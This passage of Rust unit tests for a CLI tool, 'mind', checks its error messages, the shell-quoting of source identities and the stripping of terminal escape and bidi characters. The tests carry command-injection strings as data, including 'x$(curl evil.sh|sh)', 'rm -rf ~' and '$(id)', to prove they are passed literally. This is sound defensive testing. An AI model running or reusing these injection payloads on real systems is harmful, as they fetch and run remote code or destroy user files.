MindError::BadIgnorePattern { .. } => "bad-ignore-pattern",
MindError::IgnoresOwnAnchor { .. } => "ignores-own-anchor",
MindError::ExpandsIgnoredFile { .. } => "expands-ignored-file",
MindError::InvalidLearnPattern { .. } => "invalid-learn-pattern",
MindError::LearnPatternNoMatch { .. } => "learn-pattern-no-match",
MindError::InvalidProfileName { .. } => "invalid-profile-name",
MindError::ProfileNotFound { .. } => "profile-not-found",
MindError::ProfileFlagOnItemLink { .. } => "profile-flag-on-item-link",
MindError::DuplicateItem { .. } => "duplicate-item",
MindError::ReviewFailed { .. } => "review-failed",
MindError::SourceNotAllowed { .. } => "source-not-allowed",
MindError::LocalMeldForbidden { .. } => "local-meld-forbidden",
MindError::UnpinnedSourceForbidden { .. } => "unpinned-source-forbidden",
MindError::InvalidPolicy { .. } => "invalid-policy",
MindError::LobesLocked { .. } => "lobes-locked",
MindError::HookFailed { .. } => "hook-failed",
MindError::UnsupportedPlatform { .. } => "unsupported-platform",
MindError::DownloadFailed { .. } => "download-failed",
MindError::SelfUpdateRefused { .. } => "self-update-refused",
MindError::ReleaseAssetEmpty => "release-asset-empty",
MindError::TargetNotWritable { .. } => "target-not-writable",
MindError::NotADirectory { .. } => "not-a-directory",
MindError::ConfirmationRequired { .. } => "confirmation-required",
MindError::DestinationNotRepo { .. } => "destination-not-repo",
MindError::InvalidRef { .. } => "invalid-ref",
MindError::AbsorbCollision { .. } => "absorb-collision",
MindError::AgentCollision { .. } => "agent-collision",
MindError::SkillCollision { .. } => "skill-collision",
MindError::UnsafeName { .. } => "unsafe-name",
MindError::DigestMismatch { .. } => "digest-mismatch",
MindError::AttestationVerificationFailed { .. } => "attestation-verification-failed",
MindError::SelfUpdatePolicy { .. } => "self-update-policy",
MindError::HomebrewManaged { .. } => "homebrew-managed",
MindError::SelfUpdateInvalidTarget { .. } => "self-update-invalid-target",
MindError::StateTooNew { .. } => "state-too-new",
MindError::BuildEventRequiresItemTarget => "build-event-requires-item-target",
MindError::HookAborted { .. } => "hook-aborted",
MindError::HookInterrupted { .. } => "hook-interrupted",
MindError::BadHistorySince { .. } => "bad-history-since",
MindError::LobeBaseMissing { .. } => "lobe-base-missing",
MindError::UnsafeClonePath { .. } => "unsafe-clone-path",
MindError::AmbiguousHookTarget { .. } => "ambiguous-hook-target",
MindError::LinkedSourceGone { .. } => "linked-source-gone",
MindError::HooksNotRun { .. } => "hooks-not-run",
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::process::Command;
#[test]
fn kind_word_lists_cover_every_kind() {
let invalid = MindError::InvalidItemRef { name: "x".into() }.to_string();
let reserved = MindError::ReservedPrefix { prefix: "x".into() }.to_string();
for k in ItemKind::ALL {
let w = k.as_str();
assert_eq!(ItemKind::parse(w), Some(k), "ALL round-trips through parse");
assert!(invalid.contains(&format!("'{w}:name'")), "{invalid}");
assert!(reserved.contains(w), "{reserved}");
}
assert_eq!(
ItemKind::word_list(),
"skill, agent, rule, command, workflow, tool, resource"
);
for k in ItemKind::ALL {
match k {
ItemKind::Skill
| ItemKind::Agent
| ItemKind::Rule
| ItemKind::Command
| ItemKind::Workflow
| ItemKind::Tool
| ItemKind::Resource => {}
}
}
assert_eq!(ItemKind::ALL.len(), 7);
}
#[test]
fn link_refusal_messages_carry_the_remedy() {
let wf = MindError::LinkKindNotSupported {
source_name: "s".into(),
path: "workflows/x.js".into(),
}
.to_string();
for needle in [
"mind probe <name>",
"mind learn <ref>",
"--add-root",
"a blob link takes a .md file, a tree link takes a skill directory",
] {
assert!(wf.contains(needle), "{needle}: {wf}");
}
let js = MindError::LinkNotLinkableFile {
source_name: "s".into(),
path: "x.js".into(),
}
.to_string();
assert!(js.contains("meld the repo instead"), "{js}");
assert!(js.contains("JavaScript file"), "{js}");
assert!(!js.contains("names a workflow"), "{js}");
let reserved = MindError::ReservedPrefix { prefix: "p".into() }.to_string();
assert!(reserved.contains("future kind"), "{reserved}");
assert!(
MindError::InvalidItemRef { name: "x".into() }
.to_string()
.contains("or 'owner/repo#name')")
);
}
#[test]
fn command_is_a_linked_item_kind() {
assert_eq!(ItemKind::parse("command"), Some(ItemKind::Command));
assert_eq!(ItemKind::Command.as_str(), "command");
assert_eq!(ItemKind::Command.dir(), "commands");
assert_eq!(ItemKind::from_dir("commands"), Some(ItemKind::Command));
assert!(
ItemKind::LINKABLE.contains(&ItemKind::Command),
"a command is discovered by the harness, so it links into agent homes"
);
assert!(
!ItemKind::LINKABLE.contains(&ItemKind::Tool),
"a tool stays store-only (TOOL-3)"
);
assert_eq!(
ItemKind::parse_kinds(&["command".to_string()]).unwrap(),
vec![ItemKind::Command]
);
}
#[test]
fn workflow_is_a_linked_item_kind() {
assert_eq!(ItemKind::parse("workflow"), Some(ItemKind::Workflow));
assert_eq!(ItemKind::Workflow.as_str(), "workflow");
assert_eq!(ItemKind::Workflow.dir(), "workflows");
assert_eq!(ItemKind::from_dir("workflows"), Some(ItemKind::Workflow));
assert!(
ItemKind::LINKABLE.contains(&ItemKind::Workflow),
"the harness reads workflows out of the agent home, so the kind links"
);
assert_eq!(
ItemKind::parse_kinds(&["workflow".to_string()]).unwrap(),
vec![ItemKind::Workflow]
);
let json = serde_json::to_string(&ItemKind::Workflow).unwrap();
assert_eq!(json, "\"workflow\"");
assert_eq!(
serde_json::from_str::<ItemKind>(&json).unwrap(),
ItemKind::Workflow
);
}
#[test]
fn shell_quote_round_trips_a_malicious_identity_through_a_real_shell() {
if Command::new("sh").arg("-c").arg("true").status().is_err() {
return;
}
let evil = "x; touch /tmp/mind-hook-106-pwned; echo $(id) `whoami` it's-evil";
let quoted = shell_quote(evil);
let output = Command::new("sh")
.arg("-c")
.arg(format!("printf '%s' {quoted}"))
.output()
.expect("sh -c must run");
assert!(
output.status.success(),
"the quoted identity must parse as a single shell argument: {quoted:?}\nstderr: {}",
String::from_utf8_lossy(&output.stderr)
);
assert_eq!(
String::from_utf8_lossy(&output.stdout),
evil,
"the shell must see the identity back EXACTLY as given, proving none of \
';', '$(...)', backtick, or the embedded quote were interpreted rather \
than passed through literally: quoted form was {quoted:?}"
);
let sentinel = std::path::Path::new("/tmp/mind-hook-106-pwned");
assert!(
!sentinel.exists(),
"the embedded 'touch' must not have executed"
);
let _ = std::fs::remove_file(sentinel);
}
#[test]
fn shell_quote_neutralizes_every_boundary_identity_through_a_real_shell() {
if Command::new("sh").arg("-c").arg("true").status().is_err() {
return;
}
let cases = [
("lone-quote", "'", "'"),
("trailing-backslash", r"github.com/a/b\", r"github.com/a/b\"),
(
"newline",
"a\ntouch /tmp/mind-hq-nl\nb",
"a\ntouch /tmp/mind-hq-nl\nb",
),
(
"double-quote",
"a\"; touch /tmp/mind-hq-dq; \"b",
"a\"; touch /tmp/mind-hq-dq; \"b",
),
(
"dollar-paren",
"$(touch /tmp/mind-hq-dp)",
"$(touch /tmp/mind-hq-dp)",
),
(
"backtick",
"`touch /tmp/mind-hq-bt`",
"`touch /tmp/mind-hq-bt`",
),
];
for (name, payload, expected) in cases {
let quoted = shell_quote(payload);
let out = Command::new("sh")
.arg("-c")
.arg(format!("printf '%s' {quoted}"))
.output()
.unwrap_or_else(|e| panic!("[{name}] sh failed: {e}"));
assert!(
out.status.success(),
"[{name}] quoted form must parse as one argument: {quoted:?} stderr {}",
String::from_utf8_lossy(&out.stderr)
);
assert_eq!(
String::from_utf8_lossy(&out.stdout),
expected,
"[{name}] the shell must return the identity literally: quoted {quoted:?}"
);
}
for p in [
"/tmp/mind-hq-nl",
"/tmp/mind-hq-dq",
"/tmp/mind-hq-dp",
"/tmp/mind-hq-bt",
] {
let path = std::path::Path::new(p);
let existed = path.exists();
let _ = std::fs::remove_file(path);
assert!(!existed, "an injected touch executed and dropped {p}");
}
}
#[test]
fn shell_quote_is_harmless_for_a_plain_identity() {
assert_eq!(
shell_quote("github.com/jaemk/agents"),
"'github.com/jaemk/agents'"
);
}
#[test]
fn shell_quote_escapes_embedded_single_quotes() {
assert_eq!(shell_quote("it's"), r"'it'\''s'");
}
#[test]
fn hooks_not_run_message_shell_quotes_the_single_resolved_identity() {
let evil = "evil; rm -rf /tmp/x".to_string();
let msg =
hooks_not_run_message("target-as-typed", "install", 1, std::slice::from_ref(&evil));
assert!(
msg.contains(&shell_quote(&evil)),
"the remedy must carry the shell-quoted identity: {msg}"
);
assert!(
!msg.contains("run evil; rm -rf /tmp/x --event"),
"the remedy must never place the identity bare (unquoted) into the \
runnable command: {msg}"
);
}
#[test]
fn hooks_not_run_message_shell_quotes_every_resolved_identity_in_the_list() {
let a = "one; touch /tmp/a".to_string();
let b = "two`whoami`".to_string();
let c = "x'; rm -rf ~; echo '".to_string();
let msg = hooks_not_run_message("glob*", "install", 3, &[a.clone(), b.clone(), c.clone()]);
assert!(msg.contains(&shell_quote(&a)), "{msg}");
assert!(msg.contains(&shell_quote(&b)), "{msg}");
assert!(msg.contains(&shell_quote(&c)), "{msg}");
assert!(!msg.contains("(one; touch /tmp/a"), "{msg}");
assert!(
!msg.contains("'x'; rm -rf ~; echo ''"),
"must never carry the broken bare `'{{n}}'` interpolation of the \
single-quote-carrying identity: {msg}"
);
}
#[test]
#[should_panic(expected = "resolved must never be empty")]
fn hooks_not_run_message_asserts_resolved_is_never_empty() {
let _ = hooks_not_run_message("target", "install", 0, &[]);
}
#[test]
fn learn_no_match_message_shell_quotes_the_source_identity_in_the_command() {
let evil = "github.com/o/r#skills/x$(curl evil.sh|sh)";
let msg = learn_no_match_message("review", evil);
assert!(
msg.contains(&format!(
"mind probe --source {} --no-tui",
shell_quote(evil)
)),
"the printed remedy must carry the shell-quoted identity: {msg}"
);
assert!(
!msg.contains("--source github.com/o/r#skills/x$(curl evil.sh|sh) --no-tui"),
"the identity must never appear bare (unquoted) inside the runnable command: {msg}"
);
if Command::new("sh").arg("-c").arg("true").status().is_err() {
return;
}
let quoted = shell_quote(evil);
let output = Command::new("sh")
.arg("-c")
.arg(format!("printf '%s' {quoted}"))
.output()
.expect("sh -c must run");
assert_eq!(
String::from_utf8_lossy(&output.stdout),
evil,
"the shell must see the identity back exactly as given, proving the \
embedded `$(...)` was passed through literally rather than executed"
);
}
#[test]
fn learn_no_match_message_leaves_prose_mentions_bare() {
let msg = learn_no_match_message("review", "my-source");
assert!(
msg.contains("--learn pattern 'review' matches no item in source 'my-source'"),
"{msg}"
);
assert!(
msg.contains("run `mind probe --source 'my-source' --no-tui` to list what it offers"),
"{msg}"
);
}
#[test]
fn learn_no_match_message_states_the_add_root_ordering_caveat() {
let msg = learn_no_match_message("review", "my-source");
assert!(
msg.contains(
"needs `--add-root <dir>` at the meld that registers the source \
(`unmeld` first if it is already melded)"
),
"{msg}"
);
}
#[test]
fn learn_no_match_message_never_suggests_recall() {
let msg = learn_no_match_message("review", "my-source");
assert!(!msg.contains("mind recall"), "{msg}");
assert!(msg.contains("mind probe --source"), "{msg}");
}
#[test]
fn lobe_errors_render_actionable_messages() {
let unknown_kind = MindError::UnknownKind {
kind: "wizard".into(),
}
.to_string();
assert!(unknown_kind.contains("wizard"), "{unknown_kind}");
assert!(
unknown_kind.contains("skill") && unknown_kind.contains("tool"),
"UnknownKind must list the valid kinds: {unknown_kind}"
);
let unknown_preset = MindError::UnknownPreset {
name: "emacs".into(),
}
.to_string();
assert!(unknown_preset.contains("emacs"), "{unknown_preset}");
assert!(
unknown_preset.contains("gemini, codex, universal, devin, devin-cli, windsurf"),
"UnknownPreset must list the valid presets: {unknown_preset}"
);
assert!(
!unknown_preset.contains("antigravity"),
"UnknownPreset must not mention removed presets: {unknown_preset}"
);
let needs_target = MindError::LobeTargetRequired.to_string();
assert!(
needs_target.contains("path") && needs_target.contains("--preset"),
"LobeTargetRequired must mention both a path and --preset: {needs_target}"
);
}
#[test]
fn parse_kinds_accepts_known_rejects_unknown() {
let ok = ItemKind::parse_kinds(&["skill".into(), "agent".into(), "rule".into()]).unwrap();
assert_eq!(ok, vec![ItemKind::Skill, ItemKind::Agent, ItemKind::Rule]);
let err = ItemKind::parse_kinds(&["skill".into(), "wizard".into()]).unwrap_err();
assert!(
matches!(err, MindError::UnknownKind { ref kind } if kind == "wizard"),
"the first unknown kind must surface as UnknownKind: {err:?}"
);
}
#[test]
fn namespace_locked_displays_items_and_forget_hint() {
let e = MindError::NamespaceLocked {
src_name: "github.com/acme/agents".into(),
items: vec!["skill:review".into(), "agent:dev".into()],
}
.to_string();
assert!(e.contains("github.com/acme/agents"), "{e}");
assert!(
e.contains("skill:review") && e.contains("agent:dev"),
"must list every installed item: {e}"
);
assert!(e.contains("forget"), "must direct the user to forget: {e}");
assert!(e.contains("namespace"), "must mention the namespace: {e}");
}
#[test]
fn hook_failed_displays_identity_and_command() {
let e = MindError::HookFailed {
event: "install",
label: "install".into(),
identity: "github.com/acme/tools".into(),
command: "make install".into(),
status: None,
reason: "boom".into(),
streamed: false,
};
let msg = e.to_string();
assert!(msg.contains("github.com/acme/tools"), "msg: {msg}");
assert!(msg.contains("make install"), "msg: {msg}");
assert!(msg.contains("boom"), "msg: {msg}");
}
#[test]
fn hook_failed_displays_its_own_event_not_hardcoded_install() {
let e = MindError::HookFailed {
event: "uninstall",
label: "uninstall".into(),
identity: "github.com/acme/tools".into(),
command: "make uninstall".into(),
status: None,
reason: String::new(),
streamed: true,
};
let msg = e.to_string();
assert!(
msg.starts_with("uninstall hook for source 'github.com/acme/tools'"),
"message must lead with the uninstall event: {msg}"
);
assert!(
!msg.starts_with("install hook"),
"message must not report an uninstall hook as an install one: {msg}"
);
}
#[test]
fn hook_failed_names_both_event_and_label_when_they_differ() {
let e = MindError::HookFailed {
event: "install",
label: "exit 1".into(),
identity: "github.com/acme/tools".into(),
command: "exit 1".into(),
status: None,
reason: String::new(),
streamed: true,
};
let msg = e.to_string();
assert!(
msg.starts_with("install hook 'exit 1' for source 'github.com/acme/tools'"),
"message must name the event and the frame's label: {msg}"
);
}
#[test]
fn hook_failed_silent_exit_renders_no_output() {
let e = MindError::HookFailed {
event: "install",
label: "install".into(),
identity: "github.com/acme/tools".into(),
command: "exit 1".into(),
status: None,
reason: String::new(),
streamed: false,
};
let msg = e.to_string();
assert!(
msg.contains("(no output)"),
"silent failure must say '(no output)', not 'see the hook's output above': {msg}"
);
assert!(
!msg.contains("see the hook"),
"must not point to framed output when nothing was printed: {msg}"
);
}
#[test]
fn hook_failed_with_stderr_renders_stderr_not_no_output() {
let e = MindError::HookFailed {
event: "install",
label: "install".into(),
identity: "github.com/acme/tools".into(),
command: "make install".into(),
status: None,
reason: "some diagnostic".into(),
streamed: false,
};
let msg = e.to_string();
assert!(
msg.contains("some diagnostic"),
"stderr content must appear in the message: {msg}"
);
assert!(
!msg.contains("(no output)"),
"must not say '(no output)' when stderr was captured: {msg}"
);
}
#[test]
fn hook_failed_with_streamed_points_at_the_frame_not_no_output() {
let e = MindError::HookFailed {
event: "install",
label: "install".into(),
identity: "github.com/acme/tools".into(),
command: "make install".into(),
status: None,
reason: String::new(),
streamed: true,
};
let msg = e.to_string();
assert!(
msg.contains("its output, if any, is in the frame above"),
"streamed=true must point at the frame: {msg}"
);
assert!(
!msg.contains("(no output)"),
"must not say '(no output)' when output was already shown: {msg}"
);
assert!(
msg.contains("github.com/acme/tools"),
"missing identity: {msg}"
);
assert!(msg.contains("make install"), "missing command: {msg}");
}
#[test]
fn skill_collision_renders_conflict_list_and_namespace_hint() {
let e = MindError::SkillCollision {
conflicts: vec![
(
"skill".into(),
"review".into(),
"github.com/acme/agents".into(),
),
(
"rule".into(),
"style".into(),
"github.com/acme/rules".into(),
),
],
suggested: "acme".into(),
};
let msg = e.to_string();
assert!(
msg.contains("name collision"),
"must contain 'name collision': {msg}"
);
assert!(
msg.contains("skill:review"),
"must list skill:review: {msg}"
);
assert!(msg.contains("rule:style"), "must list rule:style: {msg}");
assert!(
msg.contains("github.com/acme/agents"),
"must name the existing source: {msg}"
);
assert!(
msg.contains("--namespace 'acme'"),
"must suggest --namespace with the shell-quoted repo name (CLI-225): {msg}"
);
}
#[test]
fn duplicate_item_and_invalid_root_sanitize_source_controlled_fields() {
let evil = "\x1b[31mevil\u{202E}".to_string();
let dup = MindError::DuplicateItem {
source_name: evil.clone(),
kind: ItemKind::Skill,
name: evil.clone(),
}
.to_string();
assert!(!dup.contains('\x1b'), "must strip raw ESC: {dup:?}");
assert!(!dup.contains('\u{202E}'), "must strip raw bidi: {dup:?}");
assert!(dup.contains("evil"), "must still name the value: {dup}");
let root = MindError::InvalidRoot {
source_name: evil.clone(),
root: evil,
}
.to_string();
assert!(!root.contains('\x1b'), "must strip raw ESC: {root:?}");
assert!(!root.contains('\u{202E}'), "must strip raw bidi: {root:?}");
assert!(root.contains("evil"), "must still name the value: {root}");
}
#[test]
fn hook_failed_streamed_priority_over_stderr_content() {
let e = MindError::HookFailed {
event: "install",
label: "install".into(),
identity: "github.com/acme/tools".into(),
command: "make install".into(),
status: None,
reason: "some content".into(),
streamed: true,
};
let msg = e.to_string();
assert!(
msg.contains("its output, if any, is in the frame above"),
"streamed=true must take priority: {msg}"
);
assert!(
!msg.contains("(no output)"),
"must not say '(no output)': {msg}"
);
}
#[test]
fn item_not_found_no_sources_hints_meld() {
let e = MindError::ItemNotFound {
query: "review".into(),
sources: 0,
}
.to_string();
assert!(e.contains("review"), "must include query: {e}");
assert!(
e.contains("meld"),
"no-sources hint must mention `meld`: {e}"
);
assert!(
!e.contains("sync"),
"no-sources path must not suggest `sync`: {e}"
);
}
#[test]
fn item_not_found_with_sources_hints_probe_not_sync() {
let e = MindError::ItemNotFound {
query: "review".into(),
sources: 3,
}
.to_string();
assert!(e.contains("review"), "must include query: {e}");
assert!(e.contains("3"), "must include source count: {e}");
assert!(e.contains("probe"), "must mention `probe`: {e}");
assert!(
!e.contains("sync"),
"with sources must not mention `sync`: {e}"
);
assert!(
!e.contains("mind meld") && !e.contains("meld <"),
"with sources must not suggest `meld`: {e}"
);
}
#[test]
fn item_not_found_plain_query_has_no_non_printing_hint() {
let e = MindError::ItemNotFound {
query: "review".into(),
sources: 1,
}
.to_string();
assert!(
!e.contains("non-printing"),
"a plain query must not carry the non-printing-character hint: {e}"
);
}
#[test]
fn item_not_found_and_not_installed_hint_non_printing_characters() {
let evil = "review\u{200B}".to_string();
let not_found = MindError::ItemNotFound {
query: evil.clone(),
sources: 2,
}
.to_string();
assert!(
not_found.contains("non-printing"),
"ItemNotFound must hint at a non-printing character: {not_found}"
);
let not_installed = MindError::NotInstalled { name: evil }.to_string();
assert!(
not_installed.contains("not installed"),
"must still say 'not installed': {not_installed}"
);
assert!(
not_installed.contains("non-printing"),
"NotInstalled must hint at a non-printing character: {not_installed}"
);
}
#[test]
fn source_not_found_hints_recall_sources() {
let e = MindError::SourceNotFound {
name: "jaemk/minds".into(),
}
.to_string();
assert!(e.contains("jaemk/minds"), "must include the name: {e}");
assert!(
e.contains("mind recall --sources"),
"must hint the exact next command: {e}"
);
}
#[test]
fn source_not_found_selector_wording_does_not_claim_a_name() {
let e = MindError::SourceNotFound {
name: "acme/*".into(),
}
.to_string();
assert!(e.contains("acme/*"), "must include the selector: {e}");
assert!(
!e.contains("no source named"),
"must not claim a selector is a literal name: {e}"
);
assert!(
e.contains("no melded source matches"),
"must phrase this as 'matches', covering both an exact name and a \
selector without lying about either: {e}"
);
}
#[test]
fn unknown_lobe_hints_config_lobes_list() {
let e = MindError::UnknownLobe {
path: "/no/such/lobe".into(),
}
.to_string();
assert!(e.contains("/no/such/lobe"), "must include the path: {e}");
assert!(
e.contains("mind config lobes list"),
"must hint the exact next command: {e}"
);
}
#[test]
fn link_occupied_includes_force_hint() {
let e = MindError::LinkOccupied {
path: "/home/user/.claude/skills/foo".into(),
}
.to_string();
assert!(
e.contains("--force"),
"LinkOccupied must mention --force: {e}"
);
assert!(
e.contains("/home/user/.claude/skills/foo"),
"must include the path: {e}"
);
}
#[test]
fn digest_mismatch_includes_url_and_digests() {
let e = MindError::DigestMismatch {
url: "https://example.com/mind-0.1.0.tar.gz".into(),
expected: "abc123".into(),
actual: "def456".into(),
}
.to_string();
assert!(e.contains("abc123"), "must include expected digest: {e}");
assert!(e.contains("def456"), "must include actual digest: {e}");
assert!(
e.contains("https://example.com/mind-0.1.0.tar.gz"),
"must include URL: {e}"
);
}
#[test]
fn attestation_verification_failed_names_reason_and_kind() {
let e = MindError::AttestationVerificationFailed {
reason: "no attestations found".into(),
};
let msg = e.to_string();
assert!(
msg.contains("no attestations found"),
"must include the reason: {msg}"
);
assert!(
msg.contains("aborting"),
"must say evolve is aborting: {msg}"
);
assert_eq!(e.kind(), "attestation-verification-failed");
}
#[test]
fn state_too_new_names_file_and_versions() {
let e = MindError::StateTooNew {
what: "sources.json",
found: 3,
supported: 1,
}
.to_string();
assert!(e.contains("sources.json"), "must name the file: {e}");
assert!(e.contains("3"), "must name the found version: {e}");
assert!(e.contains("1"), "must name the supported version: {e}");
assert!(e.contains("mind evolve"), "must suggest `mind evolve`: {e}");
assert!(
e.contains("newer") && e.contains("that wrote it"),
"must also suggest using the newer mind that wrote the state: {e}"
);
}
#[test]
fn incompatible_version_remedy_points_at_evolve() {
let e = MindError::IncompatibleVersion {
source_name: "github.com/acme/agents".into(),
required: "0.30.0".into(),
running: "0.22.0".into(),
}
.to_string();
assert!(e.contains("github.com/acme/agents"), "{e}");
assert!(e.contains("0.30.0") && e.contains("0.22.0"), "{e}");
assert!(
e.contains("mind evolve"),
"must suggest `mind evolve`, not `mind upgrade`: {e}"
);
assert!(
!e.contains("upgrade mind"),
"must not say 'upgrade mind' (upgrade upgrades items, not the binary): {e}"
);
}
#[test]
fn upgrade_rename_collision_names_both_occupants_and_both_remedies() {
let e = MindError::UpgradeRenameCollision {
key: "skill:review".into(),
existing_source: "github.com/acme/x".into(),
incoming: "skill:jx:review".into(),
incoming_source: "github.com/acme/y".into(),
};
let msg = e.to_string();
assert!(
msg.contains("skill:review"),
"must name the target key: {msg}"
);
assert!(
msg.contains("github.com/acme/x"),
"must name the existing occupant's source: {msg}"
);
assert!(
msg.contains("skill:jx:review"),
"must name the incoming item: {msg}"
);
assert!(
msg.contains("github.com/acme/y"),
"must name the incoming item's source: {msg}"
);
assert!(
msg.contains(&format!("mind forget {}", shell_quote("skill:review"))),
"must give the forget remedy, shell-quoted per CLI-225: {msg}"
);
assert!(
msg.contains("mind meld -N"),
"must give the re-namespace remedy: {msg}"
);
assert!(
!msg.contains("is ambiguous; matches:"),
"must not reuse AmbiguousItem's query/matches phrasing: {msg}"
);
assert_eq!(e.kind(), "upgrade-rename-collision");
}
#[test]
fn unsafe_name_error_strips_escape_and_bidi_characters_but_still_names_the_value() {
let e = MindError::UnsafeName {
name: "..\u{202E}\x1b[31m".into(),
}
.to_string();
assert!(
!e.contains('\x1b'),
"must not carry the raw ESC byte: {e:?}"
);
assert!(
!e.contains('\u{202E}'),
"must not carry the raw bidi-override code point: {e:?}"
);
assert!(e.contains(".."), "must still name the value: {e}");
assert!(
e.contains("NUL") && e.contains("empty"),
"cause list must mention NUL and empty: {e}"
);
assert!(
e.contains("stripped"),
"must note the name was stripped for display: {e}"
);
}
#[test]
fn unsafe_prefix_error_mentions_prefix() {
let e = MindError::UnsafePrefix {
prefix: "../evil".into(),
}
.to_string();
assert!(e.contains("../evil"), "must include the prefix: {e}");
}
#[test]
fn unsafe_prefix_error_strips_bidi_and_ansi_payload_from_the_prefix() {
let e = MindError::UnsafePrefix {
prefix: "\u{202E}\x1b[31mevil".into(),
}
.to_string();
assert!(
!e.contains('\x1b'),
"must not carry the raw ESC byte: {e:?}"
);
assert!(
!e.contains('\u{202E}'),
"must not carry the raw bidi-override code point: {e:?}"
);
assert!(e.contains("evil"), "must still name the value: {e}");
assert!(
e.contains("invisible") || e.contains("bidi") || e.contains("zero-width"),
"cause list must mention invisible/bidi/zero-width characters: {e}"
);
}
#[test]
fn kind_slugs_are_stable() {
assert_eq!(
MindError::ItemNotFound {
query: "x".into(),
sources: 0
}
.kind(),
"item-not-found"
);
assert_eq!(
MindError::DigestMismatch {
url: "u".into(),
expected: "e".into(),
actual: "a".into()
}
.kind(),
"digest-mismatch"
);
assert_eq!(
MindError::SelfUpdatePolicy { detail: "d".into() }.kind(),
"self-update-policy"
);
assert_eq!(
MindError::HomebrewManaged { path: "p".into() }.kind(),
"homebrew-managed"
);
assert_eq!(MindError::HomeDirNotFound.kind(), "home-dir-not-found");
assert_eq!(MindError::GitNotFound.kind(), "git-not-found");
assert_eq!(MindError::ReleaseAssetEmpty.kind(), "release-asset-empty");
assert_eq!(MindError::LobeTargetRequired.kind(), "lobe-target-required");
assert_eq!(
MindError::BuildEventRequiresItemTarget.kind(),
"build-event-requires-item-target"
);
assert_eq!(
MindError::HookAborted { label: "h".into() }.kind(),
"hook-aborted"
);
assert_eq!(
MindError::HookInterrupted {
event: "install",
label: "setup".into(),
identity: "s".into(),
}
.kind(),
"hook-interrupted"
);
assert_eq!(
MindError::BadHistorySince { value: "x".into() }.kind(),
"bad-history-since"
);
assert_eq!(
MindError::BadItemLink {
url: "u".into(),
reason: "r".into()
}
.kind(),
"bad-item-link"
);
assert_eq!(
MindError::LinkedSourceGone {
source_name: "s".into(),
path: "p".into(),
}
.kind(),
"linked-source-gone"
);
assert_eq!(
MindError::HooksNotRun {
target: "t".into(),
event: "install".into(),
skipped: 1,
resolved: vec!["t".into()],
}
.kind(),
"hooks-not-run"
);
assert_eq!(
MindError::InvalidProfileName {
name: "Bad".into(),
reason: "r".into(),
}
.kind(),
"invalid-profile-name"
);
assert_eq!(
MindError::ProfileNotFound {
profile: "p".into(),
source_name: "s".into(),
declared: vec![],
}
.kind(),
"profile-not-found"
);
assert_eq!(
MindError::ProfileFlagOnItemLink {
flag: "--profile".into()
}
.kind(),
"profile-flag-on-item-link"
);
let samples: &[(&str, &MindError)] = &[
(
"item-not-found",
&MindError::ItemNotFound {
query: "x".into(),
sources: 0,
},
),
("home-dir-not-found", &MindError::HomeDirNotFound),
("git-not-found", &MindError::GitNotFound),
];
for (expected, err) in samples {
let slug = err.kind();
assert_eq!(slug, *expected, "slug mismatch for variant");
assert!(
!slug.is_empty(),
"slug must be non-empty for variant {expected}"
);
assert!(
slug.chars().all(|c| c.is_ascii_lowercase() || c == '-'),
"slug must be lowercase kebab-case: {slug}"
);
}
}
#[test]
fn profile_not_found_lists_declared_or_says_none() {
let listed = MindError::ProfileNotFound {
profile: "full".into(),
source_name: "o/r".into(),
declared: vec!["basic".into(), "default".into()],
}
.to_string();
assert!(listed.contains("'full'"), "{listed}");
assert!(listed.contains("basic, default"), "{listed}");
let none = MindError::ProfileNotFound {
profile: "full".into(),
source_name: "o/\u{1b}[31mr".into(),
declared: vec![],
}
.to_string();
assert!(none.contains("declares no profiles"), "{none}");
assert!(
!none.contains('\u{1b}'),
"source name must be sanitized: {none}"
);
}
#[test]
fn profile_flag_on_item_link_names_the_flag() {
let msg = MindError::ProfileFlagOnItemLink {
flag: "--all-profiles".into(),
}
.to_string();
assert!(
msg.starts_with("--all-profiles cannot be used with an item link"),
"{msg}"
);
}
#[test]
fn profile_errors_strip_escapes_from_every_echoed_field() {
let e = MindError::InvalidProfileName {
name: "\u{1b}[31mBad".into(),
reason: "it is bad".into(),
}
.to_string();
assert!(!e.contains('\u{1b}'), "{e:?}");
assert!(e.contains("Bad") && e.contains("it is bad"), "{e}");
let e = MindError::ProfileNotFound {
profile: "\u{1b}[31mnope".into(),
source_name: "\u{1b}[2Jo/r".into(),
declared: vec!["a\u{1b}[0m".into(), "b".into()],
}
.to_string();
assert!(!e.contains('\u{1b}'), "{e:?}");
assert!(
e.contains("declared profiles: a, b"),
"declared list, in order: {e}"
);
assert!(e.contains("'nope'") && e.contains("'o/r'"), "{e}");
let e = MindError::ProfileNotFound {
profile: "\u{1b}[31mnope".into(),
source_name: "o/r".into(),
declared: vec![],
}
.to_string();
assert!(!e.contains('\u{1b}'), "{e:?}");
assert!(e.contains("declares no profiles"), "{e}");
assert!(!e.contains("declared profiles:"), "{e}");
}
#[test]
fn linked_source_gone_names_source_and_remedy() {
let e = MindError::LinkedSourceGone {
source_name: "local/tmp/starter".into(),
path: "/tmp/starter".into(),
};
let msg = e.to_string();
assert!(
msg.contains("local/tmp/starter"),
"must name the source: {msg}"
);
assert!(msg.contains("/tmp/starter"), "must name the path: {msg}");
assert!(
msg.contains("mind unmeld 'local/tmp/starter'"),
"must give the copy-pasteable, shell-quoted unmeld remedy (CLI-225): {msg}"
);
}
#[test]
fn hooks_not_run_names_target_count_and_remedy() {
let e = MindError::HooksNotRun {
target: "myrepo".into(),
event: "install".into(),
skipped: 2,
resolved: vec!["myrepo".into()],
};
let msg = e.to_string();
assert!(msg.contains("myrepo"), "must name the target: {msg}");
assert!(msg.contains('2'), "must name the skipped count: {msg}");
assert!(
msg.contains("mind hooks run 'myrepo' --event install --accept-hooks=install"),
"must give the copy-pasteable, shell-quoted remedy: {msg}"
);
}
#[test]
fn hooks_not_run_remedy_carries_the_selected_event() {
let e = MindError::HooksNotRun {
target: "myrepo".into(),
event: "uninstall".into(),
skipped: 1,
resolved: vec!["myrepo".into()],
};
let msg = e.to_string();
assert!(
msg.contains("mind hooks run 'myrepo' --event uninstall --accept-hooks=uninstall"),
"the remedy must re-select the uninstall event: {msg}"
);
assert!(
!msg.contains("--event install"),
"the remedy must not name a different event than the run selected: {msg}"
);
}
#[test]
fn hooks_not_run_several_resolved_targets_lists_names_not_one_fake_command() {
let e = MindError::HooksNotRun {
target: "*".into(),
event: "install".into(),
skipped: 3,
resolved: vec!["github.com/a/one".into(), "github.com/a/two".into()],
};
let msg = e.to_string();
assert!(msg.contains('3'), "must name the skipped count: {msg}");
assert!(
